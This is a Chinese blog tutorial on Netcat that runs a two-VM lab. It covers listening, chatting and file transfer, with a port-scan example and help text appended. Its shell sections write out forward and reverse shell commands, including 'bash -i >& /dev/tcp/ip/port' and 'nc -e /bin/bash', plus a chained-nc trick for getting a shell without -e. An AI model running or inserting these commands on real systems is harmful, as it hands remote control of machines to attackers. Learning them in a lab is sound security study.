【网安神器篇】——瑞士军刀Netcat

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:梦里的你,一如往常般动人

 今天给大家分享的网络安全神器是网安界的瑞士军刀——Netcat

目录

一:Netcat简介

二:工具下载 

1. windows系统

2.linux系统

三:常用参数

四:常用功能

1.连接通讯 

[1]:服务端开启监听端口

[2]客户端连接监听端口

[3]实现连接通讯

2.文件传输

[1]接收端开启接收

[2]传输端开启传输 

[3]文件成功传输 

3.传输shell 

[1] 正向shell

 [2]反向shell

 五:拓展姿势

1.奇淫巧技 

2.博文总结 


一:Netcat简介

netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式传输模式。大致功能如下:

  • Telnet功能
  • 获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件,默认不加密
  • 远程控制
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

因为今天主要介绍的是nc在网安中的应用,所以只会讲到其中的一部分功能

二:工具下载 

1. windows系统

Windows:https://eternallybored.org/misc/netcat/解压安装包,直接运行,无需安装

2.linux系统

输入下面命令即可安装(kali系统已经部署了预安装)

yum install nc

三:常用参数

 打开终端,输入nc -h即可查看到nc的使用帮助界面,即一些常用参数的作用(这里用kali演示,其他系统同样的操作即可),如下

考虑到这样大家可能看不大清楚,而且还全是英文,有可能看不懂,所以demo哥这里贴心的给大家写一份中文版的使用帮助,以表格形式呈现,如下

         参数                                               参数作用

            -l

                                设置netcat处于监听状态等待连接

           -L

设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态

           -p

                                           本地监听端口号

           -v

       显示端口信息,如果使用-vv的话,则显示更加详细的端口信息

           -e

                                执行某个程序,如cmd.exe

           -n

                        只识别IP地址,不对目标进行DNS解析

           -u

                         使用UDP模式(nc默认使用tcp连接)

           -z

  zero I/O模式,专用端口扫描。对目标IP发送的数据不包含payload,加快扫描

          -w1

                                        超时设置为1秒

           -d

          脱离命令窗口,在后台运行,常用于后门的建立过程

           -G

                        gateway 设置网关,用于内网突破限制

           -g

                                        num,路由调数

        -o :file

                                    设置传输16进制的数据

        -s:addr

                        设置netcat源地址,隐藏自己的ip地址

            -t

                                   恢复telnet的请求数据包
            -r                                设置netcat随机化的端口号

以上差不多就是nc比较常用的一些参数,众所周知,参数搭配在一起使用,就能完成某些特定的功能,所以下面我们就来介绍一下由各种命令搭配构成的nc常用功能

四:常用功能

 实验环境:

一台kali虚拟机(ip地址为192.168.149.129)和一台centos虚拟机(ip地址为192.168.149.133),两台机器网络在同一网段,能互相ping通,且都安装了nc工具

1.连接通讯 

服务端 监听端口: nc -lnvp 端口     

客户端 连接端口: nc 服务端ip 端口     

 演示:

[1]:服务端开启监听端口

在kali端监听6666端口,如下

nc -lnvp 6666

[2]客户端连接监听端口

nc 192.168.149.129 6666

[3]实现连接通讯

经过上面的两个操作后,centos和kali已经建立起实时通讯了,在kali输入的内容会传输到centos,比如在kali输入nihao cnetos,如下

 在centos的连接页面也会接收到该信息,如下:

 同理此时在centos输入数据也会传送到kali,相当于建立了一个双向实时通讯连接,达到类似微信聊天的效果

2.文件传输

接收端:nc -lvp 端口 >传输的文件在本地保存的路径

传输端:nc 接收端ip 端口 <要传输的文件路径

演示 :

我们在centos创建一个1.txt的文件,并用nc将其传输到kali

[1]接收端开启接收

我们还是选择通过6666端口来传输文件 

nc -lvp 6666 >2.txt
//即将接收到的数据保存到当前路径下的2.txt

[2]传输端开启传输 

 在centos上用nc将centos上的1.txt传输到kali上

nc 192.168.149.129 6666 <1.txt

[3]文件成功传输 

 可以看到kali端已经成功收到文件

3.传输shell 

shell传输分为正向shell反向shell ,理解正向和反向,主要就是分清客户端服务端,下面给大家详细介绍一下

[1] 正向shell

正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取centos的shell权限

服务端:nc -lvp 端口 -e /bin/sh
//正向需要经过服务端的防火墙,所以在这一步之前要先关闭防火墙

客户端:nc 服务端ip 端口        

演示 

centos关闭防火墙并打开shell监听 

kali连接监听端口获取shell

 到这里就成功kali就已经成功拿到centos的shell了,在kali的连接页面即可查看,如下:

 [2]反向shell

反向shell就是让目标把权限自己给我们,也就是服务端来找客户端并把shell给客户端,具体步骤如下

服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1
                 nc反 弹 :nc -e /bin/bash 客户端ip 端口
//反弹姿势还有很多,这里只列举了两种

客户端开启监听: nc -lvp 端口

客户端开启监听

 服务端反弹shell

 成功将shell回弹到kali

 五:拓展姿势

1.奇淫巧技 

在用nc的正向shell时不仅要关心防火墙的情况,还要注意-e参数是否被支持,看看初始命令

nc -e /bin/bash 客户端ip 端口

如果此时-e参数不被支持,但你仍然想使用正向shell建立连接,应该怎么办呢?这就是要给大家讲的小技巧——nc串连,具体命令如下:

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口

 详细给大家讲一下服务端执行这条命令的意思

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

这招巨好用,大家可以多看看或者下去自己试一下 

2.博文总结 

除此之外nc还有很多用法,不过平时用的比较多的其实就是用来监听回弹的shell,后面我也会出一期回弹shell姿势总结,大家有兴趣的也可以去了解一下,感谢大家的阅读

  • 126
    点赞
  • 234
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
想要连接到某处: nc [-options] hostname port[s] [ports] ...   绑定端口等待连接: nc -l -p port [-options] [hostname] [port]   参数:   -e prog 程序重定向,一旦连接,就执行 [危险!!]   -g gateway source-routing hop point[s], up to 8   -G num source-routing pointer: 4, 8, 12, ...   -h 帮助信息   -i secs 延时的间隔   -l 监听模式,用于入站连接   -n 指定数字的IP地址,不能用hostname   -o file 记录16进制的传输   -p port 本地端口号   -r 任意指定本地及远程端口   -s addr 本地源地址   -u UDP模式   -v 详细输出——用两个-v可得到更详细的内容   -w secs timeout的时间   -z 将输入输出关掉——用于扫描时   其中端口号可以指定一个或者用lo-hi式的指定范围。   例如:扫描端口   tcp扫描   C:\nc>nc -v -z -w2 192.168.0.80 1-140   net [192.168.0.80] 140 (?)   net [192.168.0.80] 139 (netbios-ssn) open   net [192.168.0.80] 138 (?)   net [192.168.0.80] 137 (netbios-ns)   net [192.168.0.80] 136 (?)   net [192.168.0.80] 135 (epmap) open   net [192.168.0.80] 81 (?) open   net [192.168.0.80] 80 (http) open   net [192.168.0.80] 79 (finger)   net [192.168.0.80] 25 (smtp) open   net [192.168.0.80] 24 (?)   net [192.168.0.80] 23 (telnet)   net [192.168.0.80] 21 (ftp)   udp扫描   C:\nc>nc -u -v -z -w2 192.168.0.80 1-140   net [192.168.0.80] 140 (?) open   net [192.168.0.80] 139 (?) open   net [192.168.0.80] 138 (netbios-dgm) open   net [192.168.0.80] 137 (netbios-ns) open   net [192.168.0.80] 54 (?) open   net [192.168.0.80] 53 (domain) open   net [192.168.0.80] 38 (?) open   net [192.168.0.80] 37 (time) open   net [192.168.0.80] 7 (echo) open
Python Netcat是通过Python实现的Netcat工具。Netcat是一种通用的网络工具,它可以实现TCP/UDP连接的建立,文件传输以及端口扫描等功能。利用Python实现Netcat可以方便地进行网络通信和测试。一个常见的用法是使用Python脚本实现一个简单的Netcat功能,通过Socket对象监听本地端口,并将接收到的数据回传给客户端,同时通过Socket对象连接本地端口,并发送数据给服务端。具体的代码可以参考引用中提供的示例代码来实现。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [用Python编写网络工具——简单版Netcat](https://blog.csdn.net/qq_39605374/article/details/131137067)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [[超细划重点]攻击服务器没有netcat如何使用python替代(取代netcat)](https://blog.csdn.net/qq_64201116/article/details/125510696)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Daylight庆尘

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值